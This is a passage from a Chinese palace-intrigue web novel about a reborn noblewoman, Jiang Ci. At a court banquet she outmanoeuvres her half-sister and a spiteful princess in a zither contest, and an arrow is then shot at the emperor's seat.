她捂住胸口,倒在翠蓝怀中,翠蓝自然也听见了姜瓷的声音,一时间吓得脸色苍白。
翠蓝神色恍惚,喃喃道:“怎么可能。”
马车散架轻则让她们衣裳撕烂,一身狼狈赶不上宫宴,重则有可能摔伤在府中老老实实待上几月。
现在她们不仅没有狼狈,还优雅的赶上了宫宴,怎么可能!她们哪有这般本事!
姜瓷一句话似恶鬼般包裹了她,姜嫣半天才坐了起来,扶了扶满头繁重的头饰,端坐起来。
她咬牙道:“算她们走运!”
虽然她是看着她们坐上马车的,可后面的事谁说的清呢,姜嫣捏拳锤向了坐垫。
马车颠簸着到了宫殿门口,天空一片橙红,两侧站着提着灯笼的宫女,散发出柔和的光芒。
姜嫣冷静了半天才接受这个事实,调整好状态,在翠蓝的搀扶下走下了马车。
宫门前,姜瓷和曲桑宜站定阶上,双手交叠在身前,在等着她,两人皆是那般冷冷的神色,看着她仿佛在看一个物件,竟叫她不寒而栗。
本就是站得比她高,还端着那般神色居高临下俯视着她,姜嫣忽然觉得背上有千斤重,搭着翠蓝的手隐隐发抖。
姜瓷的手段她是知道的,在她院中打得她几日下不来床,现在想起来还隐隐作痛。
不过现在在皇宫中,她绝对不敢动她!她安慰自己,定了定心神走上前,那两人也不说话,半晌,她无奈咬牙吐出几字:“母亲,姐姐。”
姜瓷闻言唇角勾起抹笑,轻声道:“妹妹小心脚下。”
她自然不会轻易放过姜嫣,若不是曲桑宜会武功,今日长街惨状她想都不敢想。
曲桑宜冷眼扫过姜嫣,轻轻撩袍转身抬脚就走,眼中的鄙夷不言而喻。
姜嫣心中愤怒,这个贱妇凭什么这么看她!可她在宫中又不敢发作,只得死死咬住牙齿。
而姜瓷还站在阶上,含笑看着姜嫣,她被盯的后背发凉。
抬脚踩上台阶因为心虚,脚下一滑,险些摔了下去,好在翠蓝扶住了她。
她气疯了,肯定是因为姜瓷刚刚诅咒她,她才会滑倒!
不等两人说点什么,身后马车又来一辆,帘子被缓缓掀开,一个身穿湖蓝斗篷的少女走了下来。
正是宣平候府三小姐纪沅,武将家的小女儿,生的开朗明媚,圆圆的杏眼,性格却是京中出了名的跋扈。
她脚步轻快走下马车,却见着姜嫣滞在门前,穿一身娇嫩的粉色,脑袋像有千金重,她向来不喜欢这般小家子气的人,于是习惯性刻薄道:“哪个地主家的女儿,这般无礼堵在门前。”
姜嫣闻言面色阴沉回头,她这话实在是太过嘲讽,她怎么说也是尚书府的人,却被说成是地主家的女儿,这不就是变着法子骂她土吗。
见着来人,她却哑了声,这纪沅每年无差别攻击,嘴上跟生了刀子似得谁也不放过,被她逮到也只能自认倒霉。
且不说她家立下的赫赫战功,光论纪沅的受宠程度姜嫣也不敢跟她硬刚。
毕竟她只是个庶女,而纪沅在家里行最小,还是侯府中老来得子,及万千宠爱于一身的嫡小姐。
姜嫣退到一旁讪讪阴阳道:“那可真是我不对了,挡了您的道。”
纪沅斜睨她一眼,从她旁边挤过去,她总觉着这话听着不舒服,可她又道歉了。
再加上出门前娘千叮咛万嘱咐让她少生事端,待人和善,得饶人处且饶人,她也不想再多说什么。
刚踩上两个台阶,就看见姜瓷立在那边,发髻中间两鬓虽都有金饰,却不显得土气,相反还十分华贵。
她是见过之前的姜瓷的,整日待在府中,还净喜欢穿那些素色衣裳,本就生得清淡,看起来病怏怏的,不像个活人。
她虽不喜姜嫣,却对她这种寡淡的人也没什么好脸色,一副不争不抢的样子看了就叫人心急,被人欺负了也是活该。
只是今日的她,却一身暗红色斗篷,口脂也换成了正红色,颇有种气场全开的模样。
这倒是叫她震惊,不过就算想夸人,出口却变成了:“平日里瞧着半死不活的人,今日倒是变了个模样。”
姜瓷轻笑一声,也不同她多计较,看她就像在看一个稚气的孩子。
上一世,西戎来犯,宣平候出征,立下赫赫战功,以压倒性的优势将西戎打了回去,未来几十年都不敢再来,班师回朝本应接受褒奖,可换来的却是找着理由将宣平候查处。
宣平候府满门上下男子流放,女子充妓,最小的纪沅被送到军中活活折磨至死,而被流放的宣平候,路上得知这消息,当场被气死。
后来纪家人都怎么样了,她也不知道了,因为下一个倒霉的就是她。
当时姜瓷只感叹宣平候那般勇猛的人也会勾结敌军吗,可现在看来,这种手段还真是拙劣。
姜瓷对纪沅是有种同病相怜的同情的,若是将来能救她,她定会尽力,她也知道纪沅只是嘴毒些,心肠却不坏。
她微微侧身,给纪沅让出一条道,淡淡道:“纪三姑娘先行吧,我还要等妹妹一起。”
纪沅见此,“哼”一声,就踏步从她旁边走了过去,心中大骂姜瓷不知好歹。
一个爹不疼母又去的孩子在府中能有多好过,她当然知道嫡庶之间的龃龉。
今日她见姜瓷气质卓然,还有几分好看,有心想帮她,可她却这么不上道,真是蠢笨!
姜瓷当然要等姜嫣,不是喜欢争吗,那便一同进去,看看谁能争的过谁!
姜嫣提裙走了上去,咬牙切齿道:“多谢姐姐了。”
园林之中,湖水渡上一层薄薄的冰,大部分花朵都沉睡,只剩梅花突兀绽放着。
积雪还未化干净,飞檐翘角的亭子上堆积着薄薄一层雪,亭间挂起红彤彤的灯笼,假山怪石嶙峋。
宫女带着姜瓷和姜嫣寻到了地方,通报一声:“尚书府姑娘到。”
原本还有些喧嚣的宫宴瞬间安静下来,目光全部投向那两人。
只因这尚书府实在奇葩,嫡母先来,两姑娘后来,从未见过哪家这样分着。
那嫡母出场时,还以为是哪家的姑娘,似清冷世外仙,在场的人皆是眼生,曲桑宜平日里很少参与这些事情,除非不得不去的,在京中相交之人也极少。
生的一副好容貌,总会引来
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嫉妒,可那些官家女子再怎么尖声阴阳她,她也全当没听见。
一来二去,那些人也觉得没意思,自然而然就闭了嘴。
宫宴之中最多的便是为自家儿女谈论亲事,想与尚书府交好的见着曲桑宜却也望而却步。
可现在尚书府姑娘来了,这就不得不看看了,众人皆是被姜瓷的气势一惊,这是一个刚及笄的少女会有的气质吗。
一旁的姜嫣,一声粉色衣袍,配上那艳丽的脸也看得过去,可头上那些小家子气的金饰是什么。
这一眼看下去,嫡女和庶女的差别就显现出来了,众人鄙夷的目光落在姜嫣身上,她却不敢表现出任何不满。
两人走上前,向帝后行礼,得到示意后起身,刚抬脚准备走,就听见一道温婉而不失威严的声音传来:“姜二姑娘,过来给本宫瞧瞧。”
姜瓷脚下一顿,说这话的人是皇后,抬眼望去她着一身华丽的正红色凤袍,上面用金线绣着凤凰的图案,领口袖口皆镶嵌着一圈白色雪狐毛,头戴凤冠,朱翠环绕。
看上去雍容极了,可皇后含着笑,面容温柔,十分好相与的模样。
此话一出场上皆是一惊,皇后为什么会喊住姜瓷,她有什么过人之处吗。
要知道皇后膝下就一个太子,尚且年幼,所以更不可能是因为选妃之事。
姜瓷心中同样疑惑,事情在不知觉中已经偏离了正轨,前世她与皇后说过的话不过寥寥数句,更别提当众喊住她了。
翻遍记忆,她只知皇后姓谢,名挽,再多的她也想不起来了。
姜嫣入座,看着姜瓷款款走上前去,心里满是怨恨,凭什么自己处处不如她,她凭什么能得皇后青眼。
曲桑宜却是微微蹙眉盯着谢挽,皇后似是察觉到她的目光,轻轻扫过一眼,又落回了姜瓷身上。
她扶住姜瓷的手,温柔笑道:“你就是尚书府二小姐,生得真好,你若得空,定要来宫中陪本宫解解闷。”
姜瓷闻言急忙行礼道:“娘娘抬爱,臣女稍有闲暇定入宫面见娘娘。”
她躬身不敢抬头,只觉得背后有千万道目光要将她整个人灼穿。
好在谢挽并未多说更多,让她回了座位,这一路她走的忐忑,心中想着皇后为何这般。
却未看见对面席上周以延的目光。
从前只要有周以延在,她的眼神永远不会离开周以延,今天却同变了个人似的,一个眼神未分给他。
周以延今日一袭深紫色长袍,袍上绣着细密的云纹,腰间束一条玉带,宽肩窄腰,小麦肤色眼神凌厉。
陆无浮坐他旁边自然是瞧见了他的目光,轻笑道:“谁不知姜二姑娘爱慕你,从前一个眼神不分给她,今日人家不搭理你,你反而要看她,真是有趣。”
他这话说的阴阳怪气,周以延斜睨过来,眉头微微蹙起,声音低沉:“与你何干?”
陆无浮又是笑出两声,却并未再言语,这笑怎么听却都听不出笑意。
他把玩着拇指上的白玉戒,转头微眯眼睛看着对面的姜瓷。
她刚刚落座,如果他没记错的话旁边那身白衣因是她的继母。
继母和嫡女长得居然有几分相似,这倒是稀奇了。
18.宫宴
姜瓷刚落座,便察觉到一旁的曲桑宜情绪不对,她小心地偷看了一眼,又收回了目光。
只听宫女传报:“永宁伯府夫人到。”
姜瓷一顿,朝门前看去,果然见到一个身着鹅黄色斗篷的女子,正是永宁伯府五小姐林诺诺,她脸蛋小巧精致,头发梳成双环髻,点缀着两条黄色丝带。
她一进来便东望西望,目光扫到姜瓷时瞬间眼眸一亮,急急行完礼便走到姜瓷身边落座。
要说这林诺诺,也算是姜瓷闺中密友,平日里一副没心没肺的样子,旁人都说她无趣,林诺诺却是难得愿意跟她说话的人。
只可惜上一世,她被二皇子看中,去了二皇子府中做了个侧妃,林诺诺本就是个风风火火的性子。
要她在府中安分做个侧妃必然是不可能的,她没少出门去找面首饮酒作乐,姜瓷曾劝她要小心行事,最好别再做这些。
林诺诺却说:“凭什么男人可以三妻四妾,我就要在府中守着他。”
姜瓷急捂住她的嘴,说这般话也不怕脑袋落地。
但话又说回来了,虽二皇子将她纳为侧妃,可府中也并没有其他女人。
只是林诺诺实在耐不住寂寞,被困在那院子中活像折断了翅膀的鸟儿。
再后来,她真的喜欢上了一个面首,被他的外表骗了,信着他居然要跟他私奔,二皇子当然有所察觉,不能叫她如了愿。
事情暴露林诺诺被抓了回去,关在王府中,姜瓷再也没见过她,因为尚书府的日子也到头了。
上辈子不知道林诺诺的结局,但想着这辈子不可再让她如此胡来了。
便是不愿做侧妃嫁皇子,寻个好人家安生过日子也是好的。
林诺诺见姜瓷一脸沉重,也不知她在想什么,歪着头道:“小昭,你今日怎么这样好看。”
唇红齿白,贵气极了,一改往日的清冷,见上一眼便觉得惹眼。
她着实觉得稀奇,对着姜瓷左看右看的,像第一天认识她一般。
姜瓷刚准备开口,便听见耳边传来一道尖锐的声音:“谁不知道姜二喜欢大将军,故意打扮当然就是这个心思呗。”
这话刻薄极了,姜瓷和林诺诺纷纷侧目看去,说话的是皇后的女儿,五公主萧茵。
萧茵一身青绿色长袍,头上戴着华丽的金簪,两支步摇垂下来,轻轻晃动。
她是谢挽的第一个孩子,万千宠爱集一身的公主,从小便任性惯了,却偏偏喜欢周以延喜欢的死去活来,多次求谢挽要嫁将军府,奈何她不同意。
姜瓷微微蹙眉,这位五公主,从上一世开始就格外针对她,可她们之间并无交集。
要说有便是她嫁给周以延后,五公主频频登门,但无一例外的是她从没跟她正面对峙过。
发现周以延并非良人后,她心中更加破碎,几年来支撑着她的念想忽然就断了。
姜瓷像以前一样,将自己关在房中,不愿出门,整日下棋喝茶。
林诺诺维护姜瓷,也不管她是何身份,阴阳道:“公主以为谁都跟您一样,眼中只有男人吗?”
此话一出,萧茵立刻发作,一巴掌拍在桌上站起,面上都红了几分,指着林诺诺高声道:“你什么意思!”
林诺诺自然也不是个怕人的,朝她做个鬼脸:“字面意思喽。”
这边动静过于大,众人纷纷看过来,一时间所有人都噤了声。
姜瓷在两人漩涡之间,这事因她而起,她也不是个会忍气吞声的,更不会让维护自己的林诺诺吃了亏。
她并不惧怕众人的视线,淡淡起身,声音带上几分威严道:“刚才公主说的话可敢再说一遍?”
姜瓷微微往前一步,将坐着的林诺诺护在身后。
萧茵那种话在私下说说当然是没什么,可拿到这么多人面前来,她自然是说不出口。
一时间脸一阵青一阵红,但为了面子还是硬气道:“说就说!你打扮不就是为了……”
“萧茵!”一道严肃的声音制止了她,皇后把刚才的事都看在眼里,她皱眉带了几分怒意,“都坐下。”
皇后发话她们不敢不听,萧茵愤愤甩衣坐下,心中却是委屈。
平日里谢挽最是温柔,从来都是柔声细语的跟她说话,今日却为了一个姜瓷,这么对她!
她越想着刚才的场景越觉得丢人,只怕在周以延心里也觉得自己是个任性的人。
萧茵向来喜欢英雄一般的人物,倾慕周以延也许久了,只是母后却不同意。
她不明白为什么,今日却听到姜嫣说姜瓷与周以延即将定亲!
凭什么她求不来的东西姜瓷就可以轻易拥有。
她贵为公主怎么能忍受自己喜欢的人被抢走,见到姜瓷生得如此贵气,将自己都比了下去更是气不打一处来。
这才在旁边故意尖酸刻薄想恶心她,可没想到她竟然是这种性子!
从前看她都是那般不争不抢之人,定是那林诺诺在旁边煽动了她。
萧茵想着心里又是委屈又是气,脸色也越发的阴沉。
看着两人在前面谈笑风生,手死死的捏住,姜嫣看出她的气愤,在一旁含笑道:“公主殿下想要收拾一个伯府的小姐还不简单吗,而姐姐,我也有法子对付她。”
萧茵虽讨厌姜瓷,却也看出来这姜嫣不是什么好人,无缘无故告诉她他们要定亲的事,可不就是故意的吗,想用她对付姜瓷。
不过她现在确实想知道是什么法子,她冷冷“哼”一声道:“你说说吧。”
姜嫣心里暗骂萧茵不知好歹,面上却还是谄媚笑着贴近她的耳朵。
片刻后,萧茵眼珠一转,面上染上丝丝笑意。
一旁的纪沅却是将这一幕尽数落入眼中,她切了一声道:“成天使些下作手段害人,还不如多提升自己。”
这话骂了姜嫣,又骂了萧茵,她们两顿时脸色一变。
萧茵贵为公主,自然有底气:“你怎么知道我要害人!”
“有没有你自己清楚。”
而姜嫣就很尴尬了,纪沅说这话的时候并未刻意压低声音,周边的人都听到了。
嫡庶之间的龃龉在坐的都懂,对姜嫣也是有些鄙夷,在这种场景下还要害自家人,真是上不得台面。
姜瓷自然也是听到了纪沅一番话,转过头去视线落在姜嫣身上。
姜嫣只觉得窘迫,又急急给自己塑造柔弱形象:“纪三姑娘莫不是听错了,向来只有姐姐使唤我的份,我何时要害人。”
纪沅也不屑与她争论,撇过头去懒得理她。
姜嫣连含沙射影都不用了,直接就捏造些莫须有的事情。
林诺诺自然知道姜瓷不是那种人,可不知道的呢,在她们心里又落下个苛待庶妹的罪名,到时候传出去也不知道成什么样子。
她刚要开口,姜瓷
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便轻轻将手搭在她手上,拍了拍她,示意她别动作。
林诺诺知道姜瓷有主意,刚才的她也是,一句话哑得萧茵说不出话来。
她信任的止了声,一双小鹿似得眼睛狠狠瞪着姜嫣。
姜瓷轻笑着开口:“那妹妹过来为我们倒杯茶。”
不是说使唤你吗,那便使唤了又如何。
现在的她不会惧怕所谓名声,一百个人心中一百个她,认为她好的人自然觉得她好,不喜欢她的人无论她做什么也不会喜欢她。
但她不会承受莫须有的罪名。
姜嫣没想到她会这么说,顿在原地脸色煞白,萧茵本就因为姜嫣利用她有些生气,故意假装没看见喝着手中的茶。
她现在不去,那她说的话不攻自破,旁人也都知道她是个爱捏造的人。
若她去了,就是一场赤裸裸的羞辱,她怎么说也是个主子,去给姜瓷端茶倒水算什么!
林诺诺见此也明白了姜瓷的意思,忍不住的笑意:“快来呀,嫣姐姐,我要渴死了,你平日不是最喜欢被使唤了吗。”
众人视线落在身上,每一句随口的议论对她来说都像刀子割在身上。
姜嫣微微咬牙,心中满是愤恨,恨萧茵不帮她更恨姜瓷让她难堪。
她是不可能自下身份去倒茶的,于是她只能装做委屈,泪水一下涌上眼眶,一副娇弱模样。
她本就生的艳丽,这般看着更是我见犹怜,她细声道:“平日在家中这样便罢了,现在这么多人姐姐也要叫妹妹难堪吗。”
“什么难堪不难堪的,不是你自己说的吗!装什么。”林诺诺愤愤道。
女眷对面便坐着男宾,他们大多听不出其中的含义,只觉得姜嫣这副模样着实委屈。
对姜瓷也是颇有微词,周以延眉头蹙着,只觉着她同以前不一样了。
对事情的态度,对她这个妹妹的态度,还有对他的态度……
周以延很讨厌这种失控感,抿唇一言不发。
可女眷这边就不一样了,经历的这种事情多了,一眼就能看出来姜嫣的拙劣的表演,说这话的是她,现在哭哭泣泣的还是她。
不过她们只在心里默默鄙夷姜嫣,却也未有人言语什么。
萧茵当然注意到周以延的神色了,只以为他是厌恶姜瓷。
她微微勾起唇角,就是要让他讨厌姜瓷,让姜瓷知道她不配同她争!
她放下手中茶杯,轻响一声后,萧茵正色道:“差不多就行了,你平日在府中就这么欺负妹妹吗。”
姜瓷轻笑一声,周围瞬间安静下来,她声音清淡:“妹妹都这么说了,当然要成全。”
说着,她将杯子往前推了推,示意姜嫣,姜嫣好不容易装可怜得到了些同情,却因为萧茵一番话又回到原位。
她面色差点扭曲,好不容易维持了最后的理智,细声道:“这都是妹妹该做的。”
在所有人的注视下,姜嫣屈辱的走上了前,快速给姜瓷倒了杯茶。
林诺诺摇头晃脑的肯定道:“确实是应该的,毕竟嫣姐姐喜欢嘛。”
姜嫣抹着泪的手一顿,眼里闪过怨毒。
纪沅作为这场事端的挑起者,却看热闹不嫌事大的对林诺诺说:“跟你有什么干系,你真幼稚。”
她端起茶杯,放在嘴边抿一口,还真有副端庄之感,纪沅在心里就是觉得自己比林诺诺成熟了不止一点。
19.折雪
宫宴上歌舞升平,一片祥和之色。
皇帝穿一身明黄色龙袍,上面绣着五爪金龙,在光下泛着光芒。
他缓缓起身,所以人见状,都仓促站起。
皇帝带着浓浓的笑意,举起嵌满宝石的金杯,声音洪亮道:“今日宫宴,朕与诸位共贺,望百姓皆能安居乐业,共享天伦。”
底下人跟着附和,祝贺。
姜瓷淡淡饮完杯中茶水,心中笑的讽刺,这皇帝暴虐,疑心深重。不管百姓死活,却格外爱把弄帝王心计。
簪樱世家一年后还好好活着的没几个,全都死在了各种算计之下。
纵使有朝中佞臣作祟的原因,其皇帝听信谗言,四处怀疑也是错。
她自然是恨的,可她没有斩首帝王的实力,更没有当乱臣贼子的魄力。
姜瓷垂眸,忽然就想起了谢祈。
乐声悠扬,一群舞女在其中跳着轻盈的舞蹈,寒冬中只穿一身薄薄的纱衣舞裙,手臂柔软舞动,腰肢纤细。
一舞毕,皇上拍手大叫好:“重重有赏!”
姜瓷抬头看了眼对面的兄长,面色阴沉,一杯接一杯喝着手中酒水。
姜棣并不满皇帝,可他能做的又有多少。
姜瓷收回目光,却在一瞬间跟周以延灼热的目光碰上了。
这般直勾勾的眼神,寻常闺阁女子早就羞的低下了头。
可姜瓷跟他相处过很久了,早就对他熟悉,于是她也就那般淡淡地望了回去。
一如前世,她立于他的刀下,只是这一次,她不会再懦弱了。
片刻后,周以延先行移开了目光,捏起手中酒杯一饮而尽。
萧茵注意到这一幕,在心中暗骂姜瓷勾引周以延,好不要脸!
她一口牙都快咬碎了,悠扬乐声停下,舞女一舞结束。
皇帝龙颜大悦,目光似豺狼盯着前面领头的舞女,眼中满是喜爱。
那眼神姜瓷看的心中一阵恶寒。
果不其然,皇帝眼神微眯,开口道:“前面那个,你叫什么名字。”
那美人有着与平常女子不同的小麦肤色,五官明艳,颇有种异域美人的感觉。
她赤足踩地,面带薄纱,行礼柔声道:“臣女名为伊琳。”
她并非是大陆女子,这样子的面貌,一眼看着便像是西戎人。
同上一世一样,皇帝大手一挥,高声拍手:“好!好名字,此女甚得朕心,即日起入宫,封为玫美人。”
伊琳慌张谢恩,姜瓷抬眸看了瞬谢挽,她面色从容,只是眼中一闪而过的那抹厌恶是藏不住的。
舞女退场,下人搬着几个乐器登了上来,意料之中的乐声并未响起。
“父皇,母后,儿臣愿为此次宫宴献奏一曲,以增雅兴,还望父皇批准!”萧茵忽然起身道。
姜瓷刚捏住茶杯放至嘴边的手一顿,知道她这是冲她来的了。
谁人不知她成日不出门,寻常闺阁女子学的琴棋书画她样样不通。
果不其然,得到批准后,萧茵接着说:“父皇,儿臣一人独奏未免太过无趣,不如请姜二姑娘和我一起。”
说着,她笑着看向姜瓷,尖声道:“姜二姑娘不会不会吧?”
话落又是一阵哄堂大笑。
上一世的她的确不会,可若是说不会便是驳了皇帝的面子,说会她上去弹不出半个音,往重点便是欺君之罪。
所以她只能硬着头皮道不会,任人看她笑话,姜卓远回府便对她劈头大骂。
姜瓷在哄闹声中轻轻放下手中瓷杯,这轻微的声响却叫所有人都安静了下来,等待着她的举动。
萧茵拼命地想从她脸上找到一丝窘迫,却什么都没有。
林诺诺担忧地看着她,姜瓷平静开口:“好啊。”
谁不知萧茵琴技最是出名,京城中又有谁敢跟她相较一二。
合奏只要姜瓷出一丝错,那便会十分突兀,所有人都在等着看她笑话。
姜瓷起身行礼道:“民女愿演奏一首《折雪》,与大家同欢。”
此话一出,瞬间议论纷纷,《折雪》乃是民间出了名的难弹奏之曲。
姜棣当然看出来萧茵在为难她,眉头微微蹙起,却在听到姜瓷平淡又坚定的声音后放下心来。
虽他从不知道她会弹琴,却不知为何感到安心。
周以延同样地疑惑抬眸看去,唯有陆无浮面上勾起抹笑,平静地品了口茶水。
这曲子需要弹奏者相当长的练习时间,萧茵可从未听过姜瓷会弹琴一说!
就算是她,演奏这首曲子也相对勉强,更别提姜瓷这个草包。
萧茵注意到周以延的目光,在心里打定了姜瓷绝对是想这么说吸引他的注意。
左右都不会弹,选首难弹的曲子还能找个借口,她在心中嘲笑着姜瓷。
可当她看向姜瓷时,她的神色还是一如既往的平静,仿佛看透一切的执棋者,萧茵忍不住咽了咽口水。
不过她还是像给自己鼓气般高声道:“好啊!那就奏《折雪》。”
皇帝大笑了起来,萧茵都这么说了,他自然没意见。
林诺诺微微地扯了扯姜瓷的裙角,担心道:“小昭,不必勉强的。”
姜瓷垂眸看她笑了笑,神色自若,林诺诺维维一顿,不知为何,她瞬间安心下来,总觉得姜瓷不会毫无准备的上场。
她松开手,姜瓷和萧茵移步至殿中,坐在了琴案前。
所有人屏气凝神,两人微微提腕,玉指轻触琴弦,悠扬琴声瞬间而出。
出乎所有人预料,姜瓷看上去手法娴熟极了,眉目间皆是从容。
加上她一袭暗红色斗篷,气势颇足,连坐在她旁边的萧茵都失了几分光彩。
琴声婉转动人,让人感觉置身于隆冬大雪中,却并不觉得寒冷,只看见大雪中一抹粉色,梅花傲然挺立,散发着淡淡幽香。
纪沅认真盯着两人:“姜瓷真会弹?”她有些不可置信道。刚才装的成熟瞬间破了功,视线忍不住得被姜瓷吸引。
在她印象中,姜瓷就是那种整日在房中的书呆子,人生得寡淡性格也寡淡。
可没想到她竟还有这一面,分明跟她差不多的年纪,居然让她有种看见阿姐的错觉。
她的阿姐嫁去西戎已经两年,家书却未寄回来几封,而这一切全都是那皇帝昏庸无能造成的!
纪沅想起阿姐便悲从中来,一时间看向姜瓷的眸中染上几分水雾。
林诺诺当然没放过她的神色,凑过去便嬉笑道:“纪三你怎么哭了,是小昭弹的太好听了吗?”
纪沅当然不会
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承认,她抬手狠狠抹了两把眼睛,微怒道:“当然不是!我只是眼睛进东西了!”
林诺诺才不信她,又是一阵嘲笑,不过今日姜瓷也确实惊到了她,这般好的琴技,她心中不由生出几分骄傲。
两人琴声重合着,谁也不让谁,可平日里不怎么样的人忽然变得厉害总是更引人注目,而萧茵就算弹的再好别人也只会觉得是应该的。
一旁的姜嫣死死咬住嘴唇,眸子里满是怨恨,怎么可能!
她从未见过姜瓷在家中练琴,怎么可能突然就会了!还弹出这般难的曲子。
本想被她难堪,没想到却给了她展示的机会,姜嫣面容越来越扭曲。
林诺诺刚嘲笑完纪沅转头看过来,见姜嫣这样子,又想起她刚才跟萧茵酝酿坏主意。
一下就明白过来,这就是姜嫣出的主意啊!
没想到被姜瓷轻松化解了,林诺诺大眼睛眨眨地看向姜嫣:“嫣姐姐,小昭弹的怎么样啊,你这么想让她上去。”
姜嫣怒瞪过去喝道:“你胡说八道什么!”
她真是气急了,也不管什么场合,这一声引得周围人纷纷侧目。
姜嫣这才反应过来,立马噤了声,林诺诺却哇哇哭诉起来。
“嫣姐姐你怎么还凶人呢。”
林诺诺学着她刚才那般矫揉造作,抬手轻抹眼泪,姜嫣脸色越发阴沉。
刚想开口说些什么,耳边却突然多出来一道突兀的琴声。
两人中有人出错了!
姜嫣本愤怒的眼眸上忽然多出几分光亮,欣喜着就伸着脖子绕过林诺诺,要去看前面。
她迫不及待想看姜瓷窘迫的神色了,她就知道刚才姜瓷都是装的,现在露馅了吧!
可意料中的场景并没有出现,反而是萧茵,手指越来越不听使唤。
宫殿中人都在注视她们,包括周以延,她越想着便越紧张。
而姜瓷这般好的琴艺无疑是又给她施加了一层压力,她本就对《折雪》不算熟悉。
现在出错一步,接下来再弹下去只会越错越多。
萧茵咬牙,双手轻抚在琴弦上,原本颤动出声的琴弦瞬间安静下来,她无奈只能停下。
诺大的宫殿中只剩下姜瓷一道琴声,却比刚才更加舒服,更加动听。
萧茵坐在一旁俨然成了群嘲的对象,可她贵为公主自然没有人敢正大光明的说她。
她只感觉面上发烫,所有的窘迫都转化为对姜瓷的仇恨。
谢挽坐在那方,看见女儿这般眉头微蹙,虽有些心疼,可路是她自己走的。
她在后宫中这么多年,萧茵这些小手段她见的多了,自然明白萧茵的用意。
萧茵抬头便对上谢挽冷漠的眸子,一时间心中更是委屈,姜瓷还在继续弹奏。
她死死咬住嘴唇想让眼泪不掉下来,可泪珠还是不争气的滚落。
姜瓷一曲毕,轻轻起身,两人顿时形成鲜明对比。
萧茵的泪落在了琴上,印下一抹深深的水痕。
皇上因着萧茵的原因,也并未多称赞姜瓷,可明眼人都能看出来。
萧茵含着泪回到了席上,林诺诺感觉狠狠出了一口恶气,笑嘻嘻的对姜瓷道:“小昭,没想到你这么厉害!”
姜瓷轻笑:“凑巧罢了。”
20.牵手
姜瓷微微叹声,着实是凑巧,只不过上一世她也被这般为难。
少年心气高,受屈辱后便在家中苦练这一曲《折雪》,她不算天赋高的人,因此练了一月又一月。
练这首曲子的原因也只是因为知道它难,谁知今日还真叫她派上了用场。
况且更是有运气的成分,萧茵琴艺高,旁人看她要求自然就高,而对她总是会宽容许多。
不过……姜瓷眸光闪了闪,她这个庶妹对她的恶意还真是一成不变。
她淡然落座,旁人只以为她刚才说的话是谦虚,一改之前对她的印象。
曲桑宜玉指捏起瓷杯,轻笑道:“奏的不错。”
姜瓷闻言看了过去,曲桑宜却垂着眸子,看着眼前瓷杯,半个眼神未分给她,若不是看她嘴角还余着笑,她怕是要以为自己听错了。
曲桑宜居然也会夸她,姜瓷笑道:“多谢母亲。”
*
于此同时,谢祈一身黑衣站在翰墨阁顶上,从他的方向刚好能看见少女的笑颜。
那曲子弹的过于完美,连他也微微怔了神,没想到姜瓷奏琴是这样一面,着实令人震惊。
直到身边人喊了两声:“主子,主子,要动手吗。”
月光印在他身上,他回过神来垂眸片刻,眼中闪过一丝狠戾。
“自然是要的。”
银泉担忧道:“主子,现在对皇帝下手,怕是免不了老爷一顿家法。”
现在当然动不了皇帝,可他的目的只是想提醒一下他的那个姑姑。
找到姜瓷本就于理不合,为了一封不知内容的遗诏各种前赴后继,想谋反却没有当乱臣贼子的魄力,他的父亲和姑姑一样的愚蠢。
谢祈鼻腔里发出不屑的声音,眸子半眯着:“弓给我。”
银泉无奈听从,将木弓递了过去,弓身上雕纹精美,搭弓拉弦,转瞬间,一支泛着寒光的利箭直直射出。
一击射中椅子,银泉微微愣神,他家主子向来百发百中,宫宴上取皇帝首级虽难,却也不是不可尝试。
可他万万没想到会射偏,他越发看不懂他的主子了。
而下一瞬,一道白色的飞影掠过,一块白瓷碎片直直扎向他。
银泉来不及反应,惊慌之间,一只手挡在了他的脸前,那碎片竟被谢祈空手接下。
谢祈皱眉看了一眼手上留下的鲜血,将弓丢给他,言简意赅:“快走。”
银泉本想问,那他呢,但看着谢祈神色严厉,慌忙称是,从阁顶飞身跑走了。
谢祈一手抓住檐角,一跃进了阁里,满是书香气息的翰墨阁,倒是掩盖了他这一身的寒意和血气。
宫宴众人依旧举杯同庆,虚伪的打交道,也算是一片和谐。
可忽然,一道箭声倏地打破了平静。
那抹羽箭竟直直朝着皇帝射过去,“咄”的一声闷响,那根箭直直插入皇帝的椅子中。
箭尾还在颤动,发出嗡嗡的声响,足见拉弓人用了多大的劲。
那箭是朝皇帝射去的,却离谢挽仅有几寸距离。
周以延反应极快,捏碎手中瓷杯,就将碎片飞扔出去,寒夜中黑鸦四起,有种绝望的悲鸣。
谢挽起初慌乱,却在瞄了眼箭之后冷静下来,蹙眉环视着周围。
那羽翼是谢家特有的材质,旁人不知,她这个谢家人还能不知道吗。
会这般的,除了那谢絮安还能有谁!这是在威胁她,谢挽眸子微眯,一改往日和善,幽幽看了眼姜瓷。
霎时间,风云突变,皇帝身边太监哆哆嗦嗦地急叫:“护驾!护驾!有刺客!”
黑压压的侍卫将宫殿围了个水泄不通,喊着刺客,却是连刺客人影都未见到。
弓箭目标如此大,宫宴上各位不可能有机会当面拉弓,所以也算是洗清了嫌疑。
可该有的排查一样不会少,皇帝遇刺是大事,饶是姜瓷也神色一怔。
这件事上一世并没有发生,是因为什么引起的改变?
林诺诺小心的护住姜瓷,虽紧张却认真道:“小昭别怕。”
姜瓷笑了笑,这人用箭便是打了偷袭的主意,如今偷袭未成,自然不会再打草惊蛇。
殿中这么多人也不是好惹的,识趣点的人便早就跑了。
纪沅不愧是武将家的女儿,看得透彻,虽因为慌乱有些害怕,但还是记仇刚才林诺诺的嘲笑。
她哼一声,不屑地看着林诺诺:“有些人自己都保护不好,还要逞强保护别人。”
林诺诺一激,连遇到危险的紧张都忘了,转头就要去踢纪沅。
“你再说,你再说!”
林诺诺实在是没个小姐做派,姜瓷无奈轻轻拉住她。
“小昭你放开我,我要去给她点教训。”
她手脚并用,张牙舞爪的样子,纪沅又是一顿嘲笑,叫嚣着来呀来呀。
可谁知道姜瓷只是堪堪捏住了林诺诺一点衣角。
场面一度滑稽,萧茵在后方又是厌恶姜瓷,又是担心母后受伤。
急急向前看去,却看见谢挽神色镇定,眸中还有几分阴狠,是她从未见过的母后。
出了此等事,宫宴自然无法再继续,只是皇宫被封锁,所有人都出不去,打定决心要彻底排查刺客。
这无能的皇帝,民不聊生他不关心,西南洪灾他不管不顾,却格外担心自己的性命。
姜瓷抬眸看了眼那羽箭,还泛着细细的光泽。
